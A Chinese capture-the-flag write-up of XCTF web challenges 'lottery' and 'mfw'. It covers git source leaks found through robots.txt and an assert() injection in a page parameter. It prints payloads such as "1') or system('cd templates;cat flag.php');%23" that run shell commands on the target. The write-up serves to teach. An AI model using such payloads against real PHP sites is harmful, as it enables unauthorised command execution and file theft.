xctf部分题目-2
程序员文章站
2022-03-04 19:45:58
...
题目来源
https://adworld.xctf.org.cn/task
WEB
进阶题
lottery
先注册一个账户1。
总的来说是一个猜数游戏,通过玩这个游戏来获取$从而购买flag,但是flag金额过高,肯定是无法用这样的方法“赚到”的,于是开始寻找可以利用的点。
查看robots.txt:
User-agent: *
Disallow: /.git/
可能存在git源码泄露。使用githack获取
进行代码审计
mfw
首先打开题目
在about界面发现:
访问/.git/发现存在git源码泄露于是使用githack搞到源码。
进行代码审计,在index.php中发现漏洞
page变量没有经过过滤就直接使用,导致我们可以构造恶意代码闭合assert函数进行任意命令执行。
构造
1') or phpinfo(); %23
成功执行phpinfo函数。
接着分别构造并查看注释内容得到flag
1') or system('ls');%23
1') or system('cd templates;ls');%23
1') or system('cd templates;cat flag.php');%23
下一篇: 反弹shell的方法和测试
推荐阅读
-
PHP和Mysqlweb应用开发核心技术 第1部分 Php基础-3 代码组织和重用2
-
PHP和Mysqlweb应用开发核心技术-第1部分 Php基础-2 php语言介绍
-
判断文字超过2行添加展开按钮,未超过则不显示,溢出部分显示省略号
-
猕猴桃2月买是催熟的吗?绝大部分可能是催熟的
-
C++学习(十八)(C语言部分)之 指针2
-
联想常程曝光联想Z6部分参数:新一代神U加持 电池2天一充
-
C++学习(三十六)(C语言部分)之 链表2
-
黑马程序员IDEA版JAVA基础班\JavaWeb部分视频\2-10Request和Response\第5节 request登录案例
-
Struts2 Hibernate Spring 运行流程与部分机制
-
Java基础部分(2)